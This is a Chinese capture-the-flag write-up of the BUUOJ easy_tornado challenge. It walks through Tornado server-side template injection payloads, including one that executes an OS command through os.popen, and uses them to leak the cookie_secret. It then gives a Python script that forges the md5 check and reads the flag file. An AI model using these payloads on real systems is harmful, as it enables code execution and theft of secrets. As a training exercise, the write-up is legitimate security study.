当前位置: 首页 > news >正文

[BUUOJ 护网杯 2018 ] easy_tornado 题解

一、题目概述

题目地址:https://buuoj.cn/challenges#[护网杯 2018]easy_tornado

本题是一道经典 Tornado 框架 + 模板注入(SSTI)+ Cookie 签名逻辑 的综合题,考察点包括:

  • Tornado 框架中 cookie_secret 的作用
  • Tornado 模板语法与 SSTI 漏洞
  • 利用 SSTI 读取服务端配置
  • 构造签名逻辑绕过校验,读取敏感文件

二、页面分析

访问题目页面后,可以看到多个 .txt 文件链接,依次点击后发现页面中给出了如下提示:

md5(cookie_secret + md5(filename))
/fllllllllllllag

image

image

这说明:

  • 服务端通过 文件名 + cookie_secret 计算 MD5
  • 只有校验通过,才能读取对应文件

很明显,这里存在一个 基于 Tornado Cookie 机制的完整性校验


三、cookie_secret 是什么?

在 Tornado 框架中,cookie_secret 是一个非常关键的安全配置,其作用主要包括:

3.1 签名与加密

当使用 set_secure_cookie() 时,Tornado 会将:

  • Cookie 值
  • 时间戳
  • HMAC 签名

一起进行编码,而这个签名的核心密钥就是 cookie_secret

3.2 完整性校验

服务端在 get_secure_cookie() 时,会使用同一个 cookie_secret 校验签名:

  • 签名不匹配 → 返回 None
  • 防止客户端篡改 Cookie 内容

3.3 安全性说明

  • Cookie 内容 对用户是可见的
  • 不能被随意修改
  • 安全性完全依赖于 cookie_secret

结论:只要拿到 cookie_secret,就能伪造合法校验值。

四、尝试常规思路:失败

一开始的思路是:

  • 抓包
  • 看是否存在可利用的 Cookie
  • 尝试暴力或逻辑绕过

但实际测试后发现:

页面中 并没有可用的 Cookie 信息

这说明,突破点不在客户端,而在 服务端配置泄露

五、转向 Tornado 模板注入(SSTI)

结合题目名称 easy_tornado,很容易联想到 Tornado 模板注入漏洞(SSTI)

5.1 什么是 Tornado SSTI

Tornado 使用 Python 风格模板语法,如果 用户输入被直接拼接进模板并渲染,就可能导致 SSTI。


5.2 危险代码示例

self.write("""
<div>{{%s}}</div>
""" % user_input)

如果 user_input 可控,就可以执行任意模板表达式。


5.3 常见攻击向量

基础测试

{{7*7}}

读取对象

{{handler.settings}}

执行代码

{{__import__('os').popen('whoami').read()}}

六、漏洞利用点定位

访问错误页面:

/error?msg={{1 * 7}}

image

尝试注入:

/error?msg={{handler.settings}}

image

成功回显 Tornado 配置信息,其中包括关键字段:

cookie_secret

至此,核心目标达成:成功获取 cookie_secret


七、构造校验值

题目给出的校验逻辑为:

md5(cookie_secret + md5(filename))

目标文件:

/fllllllllllllag

7.1 Python 计算脚本

import hashlibprefix = "deeb6004-633a-4f22-a2f4-472ceb62e935"
filename = "/fllllllllllllag"# filename 先 MD5
first_md5 = hashlib.md5(filename.encode("utf-8")).hexdigest()# 再拼接 cookie_secret
final = hashlib.md5((prefix + first_md5).encode("utf-8")).hexdigest()print(final)

输出结果:

image

e148fd23e8f6f5e6bbd7a4ae149374a2

八、读取 Flag

将计算得到的 MD5 值作为参数提交,成功读取目标文件,得到 Flag:

image

flag{28e7236c-00c4-4672-8dd0-c3f5c99c1595}

九、总结

本题完整攻击链如下:

  1. 发现文件校验逻辑依赖 cookie_secret
  2. 常规 Cookie 攻击失败
  3. 联想到 Tornado SSTI
  4. 通过 handler.settings 泄露配置
  5. 获取 cookie_secret
  6. 构造 MD5 校验值
  7. 成功读取 Flag

这是一道非常标准、非常值得复现的 Tornado SSTI 入门题,既有框架特性,也有真实开发中常见的安全误区。

http://www.jsqmd.com/news/130402/

相关文章:

  • DataWorks 又又又升级了,这次我们通过 Arrow 列存格式让数据同步速度提升10倍!
  • Java计算机毕设之基于SpringBoot+Vue实现的前后端分离的高校毕业设计选题系基于SpringBoot和Vue的毕业设计选题管理系统的设计与实现(完整前后端代码+说明文档+LW,调试定制等)
  • 4453
  • 什么是 ‘Type Erasure’ (类型擦除)?对比 `std::any` 与虚函数在解耦方面的异同
  • AI浪潮下,文化原创力的坚守与重塑
  • 软件的白盒测试(一)
  • 2025年电缆生产厂家排名:天津电缆生产厂家推荐,知名的电缆生产厂家推荐(12月TOP榜单) - 品牌2026
  • 大数据隐私保护技术全解析:脱敏、匿名化、差分隐私哪个更实用?
  • .NET 进阶 —— 深入理解线程(3)ThreadPool 与 Task 入门:从手动线程到池化任务的升级
  • 第六十四篇
  • Java毕设项目:基于SpringBoot和Vue的毕业设计选题管理系统的设计与实现(源码+文档,讲解、调试运行,定制等)
  • 东莞精密机械加工工厂如何实现多名研发人员共享一台SolidWorks服务器来代替传统电脑
  • 【C++数据结构进阶】吃透 LRU Cache缓存算法:O (1) 效率缓存设计全解析
  • 6436
  • 星闪音频凭啥让有线耳机成古董?抗干扰+低延迟+未来黑科技全解析!
  • 全局变量和静态变量
  • 长云科技光缆牵引机,大范围速度控制拉缆更高效
  • 2026年 Java 面试八股文(20w字)
  • 永磁同步无传感SMO滑模观测器模型 PMSM的滑模观测器Simulink模型 改进了传统一阶滑...
  • “最小重量机器设计问题”有感
  • Mate 80 系列智控键再升级!一滑呼出通知中心,竟可如此优雅?
  • 4634634564534
  • Python函数基础 - 教程
  • 突破莫拉维克悖论!Pi通过π0.6模型斩获机器人奥运会多枚金牌,物理智能破解机器人精细操作难题
  • 基于springboot医疗挂号管理系统
  • 2026 年软考的核心信息一次性梳理清楚!
  • 2025年12月必看:铁路地铁用中低压、低压、中压、变频及聚乙烯绝缘电缆生产厂家TOP榜单推荐 - 品牌2026
  • SolidWorks服务器怎么实现研发软件多人共享、数据安全管理
  • 444
  • 【Linux系统编程】(十七)揭秘 Linux 进程创建与终止:从 fork 到 exit 的底层逻辑全解析